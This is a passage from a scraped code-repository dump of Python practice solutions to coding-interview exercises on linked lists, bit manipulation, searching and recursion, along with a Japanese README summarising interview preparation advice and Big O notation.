mid-1\n right = mid+1\n while True:\n if left < first and right > last:\n return -1\n elif right <= last and strings[right] != '':\n mid = right\n break\n elif left >= first and strings[left] != '':\n mid = left\n break\n\n right += 1\n left += 1\n\n if string == strings[mid]:\n return mid\n elif strings[mid] < string:\n return search(strings, string, mid+1, last)\n else:\n return search(strings, string, first, mid-1)\n\nif __name__ == '__main__':\n strings = ['apple', '', '', 'banana', '', '', '', 'carrot',\n 'duck', '', '', 'eel', '', 'flower']\n for string in strings:\n print(f\"{string} is at {search(strings, string, 0, len(strings)-1)}\")\n" }, { "alpha_fraction": 0.5694282650947571, "alphanum_fraction": 0.5869311690330505, "avg_line_length": 18.930233001708984, "blob_id": "bf1bdab1d01fff46c33bf1dadb67bab3edf15ac8", "content_id": "b966b5352639d3f605ad256fc013a5bc09501dd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1039, "license_type": "no_license", "max_line_length": 45, "num_lines": 43, "path": "/chap2/Q4_partition.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "\"\"\"\n大小比較して前半のリストと後半のリストをべっこに作り後から連結すれば良い\n\"\"\"\nfrom linkedlist import Node\n\n\ndef partation(ll, K):\n \"\"\"\n Kの大きさで分割して並び替えたものを返す。\n \"\"\"\n n = ll\n left, right = Node(), Node()\n while True:\n if n.data < K:\n left.appendToTail(n.data)\n else:\n right.appendToTail(n.data)\n if n.next == None:\n break\n n = n.next\n\n # これだと宣言の関係上一番始めがNoneになっているのでとりのぞいてから連結する\n right = right.get_Nth_node(1)\n left = left.get_Nth_node(1)\n left.appendNodeToTail(right)\n return left\n\n\nif __name__ == \"__main__\":\n ls = Node(1)\n ls.appendToTail(10)\n ls.appendToTail(3)\n ls.appendToTail(4)\n ls.appendToTail(5)\n ls.appendToTail(6)\n ls.appendToTail(5)\n ls.appendToTail(8)\n ls.appendToTail(9)\n ls.appendToTail(10)\n ls.printls()\n\n new = partation(ls, 5)\n new.printls()\n" }, { "alpha_fraction": 0.5600000023841858, "alphanum_fraction": 0.5766666531562805, "avg_line_length": 20.428571701049805, "blob_id": "f9e7b9877922fe33e685c4d9d52d96b01665a0ef", "content_id": "b7bc72e9ad8302dd9d795452d8f6b449ae1dd6df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1090, "license_type": "no_license", "max_line_length": 42, "num_lines": 42, "path": "/chap2/Q1_remove_dups.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "from linkedlist import Node\n\n# すでにある要素をハッシュマップで記録しておけば良い。つまり\n\n\ndef remove_dups(ll):\n \"\"\"\n llはlinkedlist(のつもりだが受け渡す**実体はあるNode**)\n \"\"\"\n # llから見て何番目を削除するかのカウンター\n n = ll\n prev = None\n isunique = {}\n while n != None:\n if n.data in isunique.keys():\n prev.next = n.next\n # uniqueじゃなければprevを動かさない\n else:\n # uniqueだったらprevを一個ずれす\n prev = n\n isunique[n.data] = True\n\n n = n.next # 次のnodeについて考える\n\n\nif __name__ == \"__main__\":\n ls = Node(1)\n ls.appendToTail(2)\n ls.appendToTail(3)\n ls.appendToTail(5) # opps\n ls.appendToTail(5)\n ls.appendToTail(6)\n ls.appendToTail(7)\n ls.appendToTail(2) # opps\n ls.appendToTail(9)\n ls.appendToTail(10)\n ls.appendToTail(10) # opps\n ls.appendToTail(2) # opps\n ls.appendToTail(7) # opps\n ls.printls()\n remove_dups(ls)\n ls.printls()\n" }, { "alpha_fraction": 0.5280046463012695, "alphanum_fraction": 0.5490081906318665, "avg_line_length": 25.873016357421875, "blob_id": "9e57419077c00fce619f00d91246e67ed497d90d", "content_id": "fa9892d756292975bd0bbd78a9bf508d9bc0fe2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1714, "license_type": "no_license", "max_line_length": 60, "num_lines": 63, "path": "/chap5/Q3_alt1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def longest_seq(n):\n \"\"\"\n Get the length of the longest 1s sequence\n\n Args: int n: input number\n Returns: int: length of the longest sequence\n \"\"\"\n if n == -1:\n raise ValueError('Invalid argument for n : {n}')\n seqs = get_alternating_seqs(n)\n return find_longest_seq(seqs)\n\ndef get_alternating_seqs(n):\n \"\"\"\n Get alternating sequences by flipping 0 and 1\n \n Args: int n: input number\n Returns: list<int>: list of length of 1s or 0s sequences\n \"\"\"\n seqs = []\n\n searching_for = 0\n counter = 0\n for i in range(len(bin(n))-2):\n if (n&1) != searching_for:\n seqs.append(counter)\n searching_for = n&1\n counter = 0\n \n counter += 1\n n >>= 1\n seqs.append(counter)\n\n return seqs\n\ndef find_longest_seq(seq):\n \"\"\"\n Find the longest sequence allowing 0-1 flip\n\n Args: list<int> seq: target sequences\n Returns: int: length of the longest sequence\n \"\"\"\n max_seq = 1\n for i in range(0, len(seq), 2):\n zeros_seq = seq[i]\n ones_seq_left = seq[i-1] if i-1 >= 0 else 0\n ones_seq_right = seq[i+1] if i+1 < len(seq) else 0\n\n this_seq = 0\n if zeros_seq == 1: # Can merge\n this_seq = ones_seq_left + 1 + ones_seq_right\n elif zeros_seq > 1: # Just add a zero to either side\n this_seq = 1+max(ones_seq_right, ones_seq_left)\n elif zeros_seq == 0: # No zero, but take either side\n this_seq = max(ones_seq_right, ones_seq_left)\n\n max_seq = max(this_seq, max_seq)\n return max_seq\n\nif __name__ == '__main__':\n num = 1775\n ans = longest_seq(num)\n print(f'{num} -> {ans}')\n \n" }, { "alpha_fraction": 0.5559309124946594, "alphanum_fraction": 0.5874624848365784, "avg_line_length": 32.29999923706055, "blob_id": "4930ba13098e15db2ed1b1ecb4879c89a1521206", "content_id": "00f0f5a030fde838921d68bbe387e811f1b10f43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2664, "license_type": "no_license", "max_line_length": 84, "num_lines": 80, "path": "/chap10/Q9_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class Coordinate:\n def __init__(self, r, c):\n self.row = r\n self.col = c\n\n def inbounds(self, matrix):\n return self.row >= 0 and self.col >= 0\\\n and self.row < len(matrix) and self.col < len(matrix[0])\n\n def is_before(self, p):\n return self.row <= p.row and self.col <= p.col\n\n def clone(self):\n return Coordinate(self.row, self.col)\n\n def move_down_right(self):\n self.row += 1\n self.col += 1\n\n def set_to_average(self, cood_min, cood_max):\n self.row = (cood_min.row + cood_max.row)//2\n self.col = (cood_min.col + cood_max.col)//2\n\n\ndef partition_and_search(matrix, origin, dest, pivot, x):\n lower_left_origin = Coordinate(pivot.row, origin.col)\n lower_left_dest = Coordinate(dest.row, pivot.col-1)\n upper_right_origin = Coordinate(origin.row, pivot.col)\n upper_right_dest = Coordinate(pivot.row-1, dest.col)\n\n lower_left = find_element(matrix, lower_left_origin, lower_left_dest, x)\n if lower_left is None:\n return find_element(matrix, upper_right_origin, upper_right_dest, x)\n return lower_left\n\n \ndef find_element(matrix, origin, dest, x):\n if not origin.inbounds(matrix) or not dest.inbounds(matrix):\n return None\n if matrix[origin.row][origin.col] == x:\n return origin\n elif not origin.is_before(dest):\n return None\n\n # Set start to start of diagonal and end to the end of the diagonal\n # Since the grid may not be square, the end of the diagonal may not equal dest.\n start = origin.clone()\n diag_dist = min(dest.row-origin.row, dest.col-origin.col)\n end = Coordinate(start.row+diag_dist, dest.col-origin.col)\n p = Coordinate(0, 0)\n \n # Do binary search on the diagonal, looking for the dirst element greater than x\n while start.is_before(end):\n p.set_to_average(start, end)\n if x > matrix[p.row][p.col]:\n start.row = p.row+1\n start.col = p.col+1\n else:\n end.row = p.row-1\n end.col = p.col-1\n\n return partition_and_search(matrix, origin, dest, start, x)\n\nif __name__ == '__main__':\n matrix = [[15, 30, 50, 70, 73],\n [35, 40, 100, 102, 120],\n [36, 42, 105, 110, 125],\n [46, 51, 106, 111, 130],\n [48, 55, 109, 140, 150]]\n elem = 111\n\n cood_origin = Coordinate(0, 0)\n cood_dest = Coordinate(4, 4)\n c = find_element(matrix, cood_origin, cood_dest, elem)\n if c is not None:\n print(f'{elem} is at row:{c.row}, col:{c.col} of below')\n for m in matrix:\n print(m)\n else:\n print(f'{elem} cound not be found')\n" }, { "alpha_fraction": 0.4273504316806793, "alphanum_fraction": 0.504273533821106, "avg_line_length": 27.625, "blob_id": "99e2ae7419c4ecc937e013466aa26659f0f2cd8d", "content_id": "6c169240b4e3fff2bdd35e4c580ddf3506f9bfc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "no_license", "max_line_length": 60, "num_lines": 8, "path": "/chap5/Q7.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def swap_odd_even_bits(x):\n return ((x & 0xaaaaaaaa) >> 1) | ((x & 0x55555555) << 1)\n\nif __name__ == '__main__':\n a = 234321\n b = swap_odd_even_bits(a)\n print(f'Original : {bin(a)}')\n print(f'Swapped : {bin(b)}')\n \n" }, { "alpha_fraction": 0.5230635404586792, "alphanum_fraction": 0.5430809259414673, "avg_line_length": 19.51785659790039, "blob_id": "07bd5d4dce1f35f892bb3bf1bab8037ab6a2ff2d", "content_id": "c6680a5ab7da954d5459fbf76d025ec6b53c0e8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1149, "license_type": "no_license", "max_line_length": 61, "num_lines": 56, "path": "/chap5/Q3.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "SEQ_LENGTH = 32\n\ndef get_bit(num, i):\n \"\"\"\n Return if i-th digit of given number is 1:True or 0:False\n\n Args:\n - int num: given number\n - int i: target digit\n\n Returns:\n - bool: if i-th digits is 1 or 0\n \"\"\"\n return (num&(1<<i)) != 0\n\ndef longest_seq(n):\n \"\"\"\n Get longest 1s sequence of input value with flip each bit\n \n Args:\n - int n: input value\n\n Return:\n - int: maximum length of 1s sequences\n \"\"\"\n max_seq = 0\n for i in range(SEQ_LENGTH):\n max_seq = max(max_seq, longest_seq_of_1s(n, i))\n\n return max_seq\n\ndef longest_seq_of_1s(n, index_to_ignore):\n \"\"\"\n Get longest length of 1s sequences\n\n Args:\n - int n: input value\n - int index_to_ignore: flipped (= ignored) index\n\n Returns:\n - int: length of longest 1s sequence\n \"\"\"\n max_ = 0\n counter = 0\n for i in range(SEQ_LENGTH):\n if i == index_to_ignore or get_bit(n, i):\n counter += 1\n max_ = max(counter, max_)\n else:\n counter = 0\n return max_\n\nif __name__ == '__main__':\n num = 1775\n ans = longest_seq(num)\n print(f'{num} -> {ans}')\n" }, { "alpha_fraction": 0.8038567304611206, "alphanum_fraction": 0.8141413927078247, "avg_line_length": 21.407407760620117, "blob_id": "d96f3164a1701abea2d217949e2ce866e532e9d4", "content_id": "b41336cf00e9fabf2e82439de33fe0e6b62d84b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 14425, "license_type": "no_license", "max_line_length": 175, "num_lines": 243, "path": "/Introduction/README.md", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "## Introduction\n\n1. **面接の流れ**\n\n2. **面接試験の舞台裏** \n\n3. **特殊な状況** \n\n4. **面接の前に**\n\n5. **行動に関する質問**\n\n6. **ビッグオー記法(Big O)**\n\n7. **技術的な質問**\n\n8. **オファーとその後**\n\n## 1. 面接の流れ\n\n 面接官の評価基準\n \n- 分析スキル:与えられた問題に対して適切な解決方法を導けたか?どの程度時間がかかったか?どの程度助けを必要としたか?\n- コーディングスキル:考えを的確に実装できているか?エラーの可能性は想定されているか?\n- CS分野の基礎知識:文字通り.\n- 経験:これまでの技術的な経験で,的確に決定を下してきたか?重要な役割を,どのように果たしたか?\n- 企業文化との相性:考え方や価値観は企業全体やチームの文化と合致しているか?\n\nアルゴリズム系の問題では前3つが重視される.\n\n**偽陰性(良い人材の取りこぼし)は許容される**.\n\n対して偽陽性(面接では高評価だったのに実際は...)の方が問題とされる.切り替えていこう.\n\n**データ構造とアルゴリズムに関する基礎知識**\n\nデータ構造などの知識そのものの価値もあるが,そうした知識を備えていることがある程度のCS分野の学習経験の担保となる.\n\n**ホワイトボードでのコーディング**\n\n開発そのものと,開発におけるコミュニケーション能力の両方を評価できる.できているところとわからないところをきちんと言語化するのも開発力.練習必須.\n\n**どんな問題が出るか?**\n\n面接する人がその都度決めている(らしい).近道はない.\n\n**評価は相対評価**\n\n難しい問題がでても諦めずにがんばろう.\n \n## 2. 面接試験の舞台裏\n\n書籍ではMicrosoft,Amazon,Google,Apple,Facebook,Palantirについて簡単な説明がある.Web系の企業は大規模システムの設計やスケーラビリティを重視する.あとはポストに関連する知識はどこでも重要.\n\n## 3. 特殊な状況\n\n**職歴の長い候補者,テスターとSDET,PM,開発リーダー・マネージャ**\n\n新卒でなくても,応募するポストで求められる能力はしっかり検討・準備しておかないといけない(あたりまえ).\n\n**スタートアップ企業,合併買収による人材獲得,面接官に向けたアドバイス**\n\n飛ばします.面接って大変.\n\n## 4. 面接の前に\n\n**経験**\n\n学生のうちにできる,アピールできる経験\n- 開発を行う授業:グループで開発する授業なんかは独学では得られない経験になります.\n- 技術系インターンへの参加:企業がどんな技術に着目してて,学生に何を求めてるのかを知る経験になります.\n- 率先して取り組んだ経験:技術系に限らず,何かのモチベーションに基づいて物事に取り組む経験は他の人と被りづらいユニークな経験になると思います.\n\n企業が知りたいのは候補者の賢さとコーディング能力.新卒でも自分のキャリア像やその業界での目指す人物像が描けているとなお良い気がする.\nこの辺と自分の経験談を絡められると説得力のあるアピールができそう.\n\n**履歴書・プロジェクト**\n\n履歴書に書く内容は長すぎず,応募するポストに関連することを書く.自分が果たした経験に関しては「問題に対して対策を立てて結果どうなったか」という起承転結をベースにするとわかりやすい.個人的には大学(院)での研究もこの流れでアピールできると思う.複数あるなら効果的にアピールできるのをピックアップ.\n\n**言語とソフトウェア**\n\nソフトウェアに関しては,わざわざアピールするものか吟味する必要がある.私はあまり記憶にないです.なにならアピールできるのだろう.\n\n言語に関しては経験年数よりも習熟度合い(専門,熟練,経験あり,など)で記載すべき.まあ学生なら同じようなものかもしれませんが.\n\n**英語での履歴書**\n\nネイティブかそれに近い語感を持った人に確認してもらうのがベター\n\n**プログラミング言語に関する潜在的な悪印象には注意しよう**\n\n一つの言語にフォーカスしすぎない.幅広い経験が重要.\n\n**面接までのロードマップ**\n\n本誌参照.準備は計画的に!\n\n## 5. 行動に関する質問\n\n**経験の振り返りと見つめ直し**\n\nこれまでの経験について,1.苦労したこと,2.過失・失敗,3.楽しんだこと,4.リーダーシップ,5.衝突,6.やり方を変えてみたこと,を整理してみる.できるだけ自分が主役なものの方がアピールしやすい.研究に関しても同様,特に1.3.4.6なんかが個人的には重要な気がする.困難なことがあり,それに対してどう考えて取り組んだのかが整理できていると良い.\n\n**逆質問**\n\n- 純粋な質問:役職内容の比率は?面接担当官のモチベーションや印象深い経験は?\n- 洞察を示す質問:応募企業のプロダクトやシステムに関する質問.リサーチが必要だが自分の知識をアピールできる.応募の情熱も伝わる.\n- 情熱を示す質問:応募企業で学べる技術や得られる経験への興味など\n\n**質問への対応**\n\n- ただの自慢になることを避けるためには,具体的に事実を伝えるのが効果的.\n- いきなり詳細を話しすぎず,まずはキーポイントをコンパクトに説明する.エピソードの結果とそのインパクトまず伝えられると良い.\n- チームの中での経験でも,自分自身にフォーカスした話を心がける.\n- 構造化した回答:話す内容について,状況・行動・結果を簡潔にして話すとわかりやすい.つまり「何を,どうして,どうなったか」.論文や研究発表で現状・問題意識,から手法の提案,実験結果とディスカッションという流れと同じ.\n\n**行動の意義を考える**\n\n各状況でとった行動にはどのような意味があったのか?何を意図してその行動をとったのか?を見つめ直す.\n\n例:リーダーシップ,共感,思いやり,謙虚,チームワークなど,\n\n**あなた自身のことについて...**\n\n自分をどのように伝えたいか?を踏まえた上で経歴や経験をまとめる.趣味に関しては話してもマイナスになることはほぼない.応募内容と絡められるならどんどん話すと良い.\n\n## 6. ビッグオー記法(Big O)\n\nアルゴリズムに対する時間計算量の表記方法.\n\n例:ファイル(サイズs)の送信\n- 電子的な送信(メールなど):O(s):ファイルサイズに比例した実行時間\n- 物理的な送信(ハードディスクの運搬):O(1):基本的にどんな大きさのファイルでも同じ時間で送信可能\n\n言語にもよるが,O(80,000,000)で1秒くらい.\n\n**空間計算量**\n\nメモリも有限なので,巨大な配列を作るのは注意が必要.長さnの配列ならO(n)のメモリ領域,nxnの配列ならO(n^2)のメモリ領域が必要になる.\n\n**定数を捨てる.小さい項を捨てる**\n\n- ビッグオー記法は計算量の増加の割合を示すだけなので,O(n)がO(1)よりも早いということはあり得る.同時に,O(2n)は係数の2を考えずにO(n)と表記する.\n- 影響の少ない項は捨てる.例えばO(n^2+n)はO(n^2).大体の順番としてはO(logn)<O(n)<O(nlogn)<O(n^2)<O(2^n)<O(x!)になる.ただし,独立の変数が存在する場合はO(n+m)などとなることもありうる.\n\n**実行時間を足す場合,掛ける場合**\n\n2つの処理A,Bについて,\n- Aを完了した後にBを行う場合:O(A+B)\n- A内の各処理で毎回Bを行う場合:O(AB)\n\n**LogN実行時間**\n\n二分探索系のアルゴリズム(探索対象が毎回半分になるようなもの)はO(logn)になることが多い.ビッグオー記法では定数は無視するので,対数の底はなんでも良い.\n\n**再帰処理の実行時間**\n\n書籍だと探索対象が毎回2倍になるアルゴリズムが掲載されている.これはO(2^n)となる.再帰関数内での関数の呼び出し数を枝の数とすると,実行時間はO(枝の数^深さ)になることが多い.指数以上のオーダーはすぐ発散するので注意が必要(それが最善なこともあるが).\n\n基本的にはfor文(や繰り返し処理)がどのように重なっているかを意識するとビッグオーの計算がしやすいように感じる.競プロでは必須スキル.\n\n## 7. 技術的な質問\n\n**問題の取り組み方**\n\n- まず自分で解いてみる.\n- コードを紙に書いてみる.どんな関数が必要か?\n- テストケースもリストアップしてみる.一般的なケース,基本ケース,エラーケースなどを想定する.\n- 紙に書いたコードを実際にコーディングしてみて動くかどうかを確認する.\n\n**必須のデータ構造,アルゴリズム,概念**\n\nコーディング面接は知識を問うものではないが,基本的な内容は知っている必要がある.\n\n- データ構造:連結リスト,木,スタックとキュー,ヒープ,配列,ハッシュテーブル\n- アルゴリズム:幅優先探索,深さ優先探索,二分木,マージソート,クイックソート\n- 概念:ビット操作,メモリ(スタックとヒープ),再帰,動的計画法,ビッグオー表記,スペース(?)\n\n**解答フロー**\n\n1. 問題をよく聞く:入出力は?入力の状態は?\n2. 例を考える:特別なケースではない,例として汎用なケースを考える.\n3. ブルートフォースで書いてみる:力技(全探索とか)ではどうなるか?\n4. 最適化する:ブルートフォースのアルゴリズムで同じ処理や省略できる処理などはないか?\n5. 見直す:アルゴリズムを見直して理解を深める.\n6. 実装する:綺麗なコード(必要に応じたモジュール化,もれのないエラーチェック,わかりやすい変数名など)を心がける.\n7. テストする:コンセプトテスト(コードの各行の解説,意図した通りに動くか?),ミスを誘発する処理(i=1で始まるforループなど),ホットスポット(再帰の終了条件,整数値の除算など),小さなテストケースの利用,特殊なケースでの検証.\n\n**最適化の着眼点**\n\n- BUD:Bottleneck, Unnecessary work, Duplicated work\n- ボトルネック:処理全体を遅くしている処理はどこか?\n- 不必要な処理\n- 重複する処理\n\n**その他の着眼点**\n- 直感的にはどうやって解いているか?\n- 単純化と一般化\n- 初期状態からの積み上げ:再帰アルゴリズムになることが多い\n- データ構造総当たり:特定のデータ構造によってうまく問題が解けることは多い.問題に対して各データ構造の性質が適しているかを一通り考えるのも一つの手段.\n\n**Best Convergence Runtime**\n\n問題に対してあり得る最善の実行時間のこと.これを意識すると良いアルゴリズムの発想の繋がる(ことがある).また,その問題における時間計算量の上限を知っておけるので,試行錯誤を打ち切る目安になる.\n\n**正しくない解答の扱い**\n\n- コーディング面接の評価は解法を導く過程やそれがどれくらい洗練されているかなど多岐にわたる.単純な正誤で測られるだけではない.\n- コーディング面接の評価は基本的に他の候補者との相対評価で決まる.\n- 面接で出される多くの問題は即座に解答できるものではない.\n\n**面接で用いるプログラミング言語**\n\n特定の言語を支持されることはほぼないため,自分が得意な言語で臨める.ただしディスカッションする以上ある程度は面接官が知っており,読みやすい言語が望ましいと思う.\n\n**綺麗なコードとは**\n\n- 正確:考えうるどんな入力にも正しく動作する.\n- 効率的:時間計算量,空間計算量を考慮している.\n- シンプル\n- 読みやすい:他の開発者がみてもわかるコーディング.\n- 保守性\n\nこれらの間でトレードオフが発生することもある.バランスが大事.\n\n**独自のデータ構造**\n\n問題によっては独自のデータ構造を定義すると良いかもしれない.過度な最適化かもしれないが,できる限り効率的なコードを考えるのは有意義である.\n\n**その他**\n\n- コードの再利用:煩雑に関数を定義しない.まとめられる関数がないか気を配る.\n- モジュール化:複雑なコードに関してはモジュール化によってテストがしやすくなる.可読性や保守性にも貢献する.\n- 柔軟かつ堅牢:できるなら,より一般的な問題を想定する.その状況でも動くコードを考える.一方で問題の複雑さに関しては面接官に確認するのもアリだと思う.\n- エラーチェック:入力に対して勝手な仮定をしない.エラーの可能性に気を配る.\n\n**諦めない!**\n\n## 8. オファーとその後\n\n- 採用の場合:オファーの期限や待遇,キャリアにおける意味を吟味する\n- 不採用の場合:採用は運もあるので気持ちを切り替える.リクルーターからフィードバックを得られる場合もある.\n" }, { "alpha_fraction": 0.5561290383338928, "alphanum_fraction": 0.5806451439857483, "avg_line_length": 20.52777862548828, "blob_id": "4e8d5d2bee6ac0d66e70e13f371aab554e56e511", "content_id": "eff5660973fd1de4534a9e6924cfa5f81ca6cfd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 915, "license_type": "no_license", "max_line_length": 51, "num_lines": 36, "path": "/chap2/Q2_Kth_to_last.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "from linkedlist import Node as _Node\n\n# 愚直に最後まで数える方法\n\n\nclass Node(_Node):\n def show_Kth_to_last(self, K):\n lencount = 0\n n = self\n # 一番終端のノードまで移動する回数がつまりリストの長さ。\n while (n.next != None):\n lencount += 1\n n = n.next\n\n #後ろからK番目はつまりlencount - K番目\n # 後ろから0番目を最後のノードだと定義して\n\n print(self.get_Nth_node(lencount - K).data)\n\n\nif __name__ == \"__main__\":\n ls = Node(1)\n ls.appendToTail(2)\n ls.appendToTail(3)\n ls.appendToTail(4)\n ls.appendToTail(5)\n ls.appendToTail(6)\n ls.appendToTail(7)\n ls.appendToTail(8) # opps\n ls.appendToTail(9)\n ls.appendToTail(10)\n ls.printls()\n ls.show_Kth_to_last(0)\n ls.show_Kth_to_last(3)\n ls.show_Kth_to_last(12)\n ls.show_Kth_to_last(-3)\n" }, { "alpha_fraction": 0.5138004422187805, "alphanum_fraction": 0.533970296382904, "avg_line_length": 24.189189910888672, "blob_id": "bde69bc931c8dc6c818f98a7888625fd4f807ce5", "content_id": "78229cd01d3ce54d983b5b8fa4af61de614723fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 942, "license_type": "no_license", "max_line_length": 60, "num_lines": 37, "path": "/chap2/Q6.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "import os, sys\nsys.path.append(os.pardir)\nfrom utils.linkedlist import LinkedList\n\n\ndef is_palindrome(llist):\n # runner technique, method2\n fast = llist.head\n slow = llist.head\n stack = []\n while fast is not None and fast.next is not None:\n stack.append(slow.value)\n fast = fast.next.next\n slow = slow.next\n\n if fast is not None:\n # when the llist length is odd, skip the meddle node\n slow = slow.next\n\n while slow is not None:\n if stack[-1] != slow.value:\n return False\n else:\n stack = stack[:-1]\n slow = slow.next\n return True\n\nif __name__ == '__main__':\n cases = [[1, 2, 3, 2, 1],\n [1, 2, 5, 2, 4],\n [1,1, 2, 2, 1, 1]]\n \n for case in cases:\n llist = LinkedList()\n llist.append_all(case)\n ans = is_palindrome(llist)\n print(f'{str(llist)} is palindrome? : {ans}')\n\n \n" }, { "alpha_fraction": 0.523809552192688, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 27.352941513061523, "blob_id": "7ac0afb0ece082f41814dd0de513d97db68dd210", "content_id": "228bc304f33718071d1fb61131b018026c1b9b45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 483, "license_type": "no_license", "max_line_length": 52, "num_lines": 17, "path": "/chap10/Q11.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def sort_valley_peak(array):\n array = sorted(array)\n for i in range(1, len(array), 2):\n array = swap(array, i-1, i)\n return array\n \ndef swap(array, left, right):\n tmp = array[left]\n array[left] = array[right]\n array[right] = tmp\n return array\n\nif __name__ == '__main__':\n array = [48, 40, 31, 62, 28, 21, 64, 40, 23, 17]\n print(f'original array : {array}')\n vp_array = sort_valley_peak(array)\n print(f'valley-peak array : {vp_array}')\n\n" }, { "alpha_fraction": 0.4654088020324707, "alphanum_fraction": 0.47938504815101624, "avg_line_length": 25.5, "blob_id": "798600e1fce50e9ae82b1ed602a72fb06d561dce", "content_id": "55fe71a1d1115c314d5eea9f51c8978c7d359443", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1431, "license_type": "no_license", "max_line_length": 77, "num_lines": 54, "path": "/chap10/Q10.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "class RankNode:\n def __init__(self, d):\n self.data = d\n self.left_size = 0\n self.left = None\n self.right = None\n\n def insert(self, d):\n if d <= self.data:\n if self.left is not None:\n self.left.insert(d)\n else:\n self.left = RankNode(d)\n self.left_size += 1\n else:\n if self.right is not None:\n self.right.insert(d)\n else:\n self.right = RankNode(d)\n\n def get_rank(self, d):\n if d == self.data:\n return self.left_size\n elif d < self.data:\n if self.left is None:\n return -1\n else:\n return self.left.get_rank(d)\n else:\n right_rank = -1 if self.right is None else self.right.get_rank(d)\n if right_rank == -1:\n return -1\n else:\n return self.left_size+1+right_rank\n\ndef track(root, number):\n if root is None:\n root = RankNode(number)\n else:\n root.insert(number)\n return root\n\ndef get_rank_of_number(root, number):\n return root.get_rank(number)\n\nif __name__ == '__main__':\n root = None\n numbers = [5, 1, 4, 4, 5, 9, 7, 13, 3]\n for n in numbers:\n root = track(root, n)\n\n for n in [1, 3, 4]:\n rank = get_rank_of_number(root, n)\n print(f'{n} is {rank}-rank at {numbers}')\n" }, { "alpha_fraction": 0.5528219938278198, "alphanum_fraction": 0.5803183913230896, "avg_line_length": 24.592592239379883, "blob_id": "ac2656f69230d535c7c8fdb9bcd84bd55db10f5f", "content_id": "3f7b1692e6a90639abfc4f890bcd47af273b5b69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 80, "num_lines": 27, "path": "/chap8/Q5_alt2.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def min_product(a, b):\n bigger = b if a < b else a\n smaller = a if a < b else b\n return min_product_helper(smaller, bigger)\n\ndef min_product_helper(smaller, bigger):\n global counter\n if smaller == 0: return 0\n elif smaller == 1: return bigger\n \n s = smaller>>1\n half_prod = min_product_helper(s, bigger)\n\n if smaller%2 == 0:\n counter += 1\n return half_prod + half_prod\n else:\n counter += 2\n return half_prod + half_prod + bigger\n\n\nif __name__ == '__main__':\n counter = 0\n a, b = 13494, 22323\n product = a*b\n min_prod = min_product(a, b)\n print(f'Calculate result {min_prod}({product == min_prod}) with {counter}.')\n" }, { "alpha_fraction": 0.5266343951225281, "alphanum_fraction": 0.5605326890945435, "avg_line_length": 22.600000381469727, "blob_id": "14ea28d276cc415defd74c20e5985817edf96388", "content_id": "0908744d62ec80c23d0a55858fb56418606f3463", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 826, "license_type": "no_license", "max_line_length": 80, "num_lines": 35, "path": "/chap8/Q5_alt1.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def min_product(a, b):\n bigger = b if a < b else a\n smaller = a if a < b else b\n memo = [-1]*(smaller+1)\n\n return min_prod(smaller, bigger, memo)\n\ndef min_prod(smaller, bigger, memo):\n global counter\n if smaller == 0:\n return 0\n elif smaller == 1:\n return bigger\n elif memo[smaller] > 0:\n return memo[smaller]\n\n s = smaller>>1\n side1 = min_prod(s, bigger, memo)\n side2 = side1\n if smaller%2 == 1:\n counter += 1\n side2 = min_prod(smaller-s, bigger, memo)\n\n # Sum and cash\n counter += 1\n memo[smaller] = side1 + side2\n return memo[smaller]\n \n\nif __name__ == '__main__':\n counter = 0\n a, b = 13494, 22323\n product = a*b\n min_prod = min_product(a, b)\n print(f'Calculate result {min_prod}({product == min_prod}) with {counter}.')\n" }, { "alpha_fraction": 0.4952561557292938, "alphanum_fraction": 0.5142315030097961, "avg_line_length": 21.913043975830078, "blob_id": "dfafcca9eb7c066c14bfcd3d419ab1bba3eaa17d", "content_id": "a27b214202b6b869eb9e85ef52167115d79790da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 527, "license_type": "no_license", "max_line_length": 44, "num_lines": 23, "path": "/chap8/Q4_alt.py", "repo_name": "daigo0927/ctci-6th", "src_encoding": "UTF-8", "text": "def convert_int_to_set(x, set_):\n subset = []\n index = 0\n while x > 0:\n if x&1 == 1:\n subset.append(set_[index])\n index += 1\n x >>= 1\n return subset\n\ndef get_subsets(set_):\n all_subsets = []\n for k in range(1<<len(set_)):\n subset = convert_int_to_set(k, set_)\n all_subsets.append(subset)\n return all_subsets\n\n\nif __name__ == '__main__':\n list_ = [1, 2, 3]\n print(f'Alls subsets of {list_} is')\n for subset in get_subsets(list_):\n print(subset)\n" } ]
62
jason741852/MovieReviewClassifier
